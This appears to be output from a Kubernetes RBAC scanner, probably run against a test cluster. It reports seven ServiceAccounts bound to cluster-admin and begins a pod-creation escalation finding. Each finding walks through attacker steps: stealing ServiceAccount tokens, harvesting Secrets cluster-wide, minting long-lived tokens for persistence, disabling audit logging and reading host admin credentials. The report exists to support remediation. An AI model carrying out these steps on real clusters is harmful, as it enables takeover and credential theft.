KUBE-RBAC-OVERBROAD-001 7 subjects Score 10.0
MITRE ATT&CK: T1078T1078.004T1098T1548

Affected subjects (7)

CRITICAL ServiceAccount/cert-manager/cert-manager Cluster 10.0
Non-system subject ServiceAccount/cert-manager/cert-manager directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: RBACRule/cluster-admin

Subject ServiceAccount/cert-manager/cert-manager is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding cutres-deputy-cm-admin. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/cert-manager/cert-manager (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/cert-manager/cert-manager (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-deputy-cm-admin
Inspect: kubectl get clusterrolebinding cutres-deputy-cm-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resource_names": null,
  "resources": null,
  "scope": "cluster",
  "source_binding": "cutres-deputy-cm-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
CRITICAL ServiceAccount/cutres/cutres-detour Cluster 10.0
Non-system subject ServiceAccount/cutres/cutres-detour directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-detour is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding cutres-detour-direct. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/cutres/cutres-detour (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/cutres/cutres-detour (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-detour-direct
Inspect: kubectl get clusterrolebinding cutres-detour-direct -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resource_names": null,
  "resources": null,
  "scope": "cluster",
  "source_binding": "cutres-detour-direct",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
CRITICAL ServiceAccount/cutres/cutres-parallel Cluster 10.0
Non-system subject ServiceAccount/cutres/cutres-parallel directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-parallel is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding cutres-parallel-a. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/cutres/cutres-parallel (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/cutres/cutres-parallel (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-parallel-a
Inspect: kubectl get clusterrolebinding cutres-parallel-a -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resource_names": null,
  "resources": null,
  "scope": "cluster",
  "source_binding": "cutres-parallel-a",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 10.0
Non-system subject ServiceAccount/deepchain-tenant/deepchain-privileged directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: RBACRule/cluster-admin

Subject ServiceAccount/deepchain-tenant/deepchain-privileged is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding deepchain-privileged. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/deepchain-tenant/deepchain-privileged (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/deepchain-tenant/deepchain-privileged (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-privileged
Inspect: kubectl get clusterrolebinding deepchain-privileged -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resource_names": null,
  "resources": null,
  "scope": "cluster",
  "source_binding": "deepchain-privileged",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
CRITICAL ServiceAccount/flux-system/kustomize-controller Cluster 10.0
Non-system subject ServiceAccount/flux-system/kustomize-controller directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: RBACRule/cluster-admin

Subject ServiceAccount/flux-system/kustomize-controller is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding deepchain-flux-admin. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/flux-system/kustomize-controller (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/flux-system/kustomize-controller (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-flux-admin
Inspect: kubectl get clusterrolebinding deepchain-flux-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resource_names": null,
  "resources": null,
  "scope": "cluster",
  "source_binding": "deepchain-flux-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 10.0
Non-system subject ServiceAccount/foothold-exec/foothold-decoy-sa directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: RBACRule/cluster-admin

Subject ServiceAccount/foothold-exec/foothold-decoy-sa is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding foothold-decoy-admin. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/foothold-exec/foothold-decoy-sa (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/foothold-exec/foothold-decoy-sa (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resource_names": null,
  "resources": null,
  "scope": "cluster",
  "source_binding": "foothold-decoy-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Non-system subject ServiceAccount/rbac-fixtures/sa-cluster-admin directly bound to cluster-admin
Scope · Cluster Cluster-wide cluster-admin (full read/write to every resource in every namespace)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin is directly bound to the built-in cluster-admin ClusterRole via the ClusterRoleBinding crb-cluster-admin. The cluster-admin ClusterRole grants * on * resources in * apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.

Microsoft's Threat Matrix for Kubernetes lists Cluster-admin binding as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com for a developer; Helm charts that ship a default ClusterRoleBinding to cluster-admin; SaaS/operator installers that take the lazy path.

An attacker who compromises ServiceAccount/rbac-fixtures/sa-cluster-admin (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.

Impact Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueDirect cluster-admin binding

The subject is bound directly to the cluster-admin ClusterRole through a ClusterRoleBinding. No chain is needed; they are already cluster-admin. The only question is whether the subject itself can be compromised.

  1. Attacker compromises ServiceAccount/rbac-fixtures/sa-cluster-admin (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).
  2. They run kubectl auth can-i '*' '*' --all-namespaces and confirm yes.
  3. They harvest all Secrets cluster-wide for cloud-credential pivot.
  4. They establish persistence by minting a 1-year TokenRequest for kube-system/clusterrole-aggregation-controller, or by creating a benign-looking ClusterRoleBinding to a backup identity.
  5. They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials.
Remediation
Replace cluster-admin with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.
  1. Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.
  2. Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.
  3. For genuine emergency-admin needs, move to a break-glass model: a separate cluster-admin-jit group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.
  4. Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to cluster-admin outside the break-glass group.
  5. Verify: kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects' shows only break-glass principals and system: subjects.
Evidence
ScopeCluster
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": null,
  "namespace": "",
  "resource_names": null,
  "resources": null,
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": null
}
HIGH

Cluster-wide pod creation enables token theft and node takeover

KUBE-PRIVESC-001 7 subjects Score 10.0–8.4

Affected subjects (7)

HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 10.0
Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/rbac-fixtures/sa-pod-create)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: RBACRule/cr-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create can create pods via ClusterRoleBinding crb-pod-create → ClusterRole cr-pod-create. Cluster-wide: applies to every current and future namespace.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Cluster-wide (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
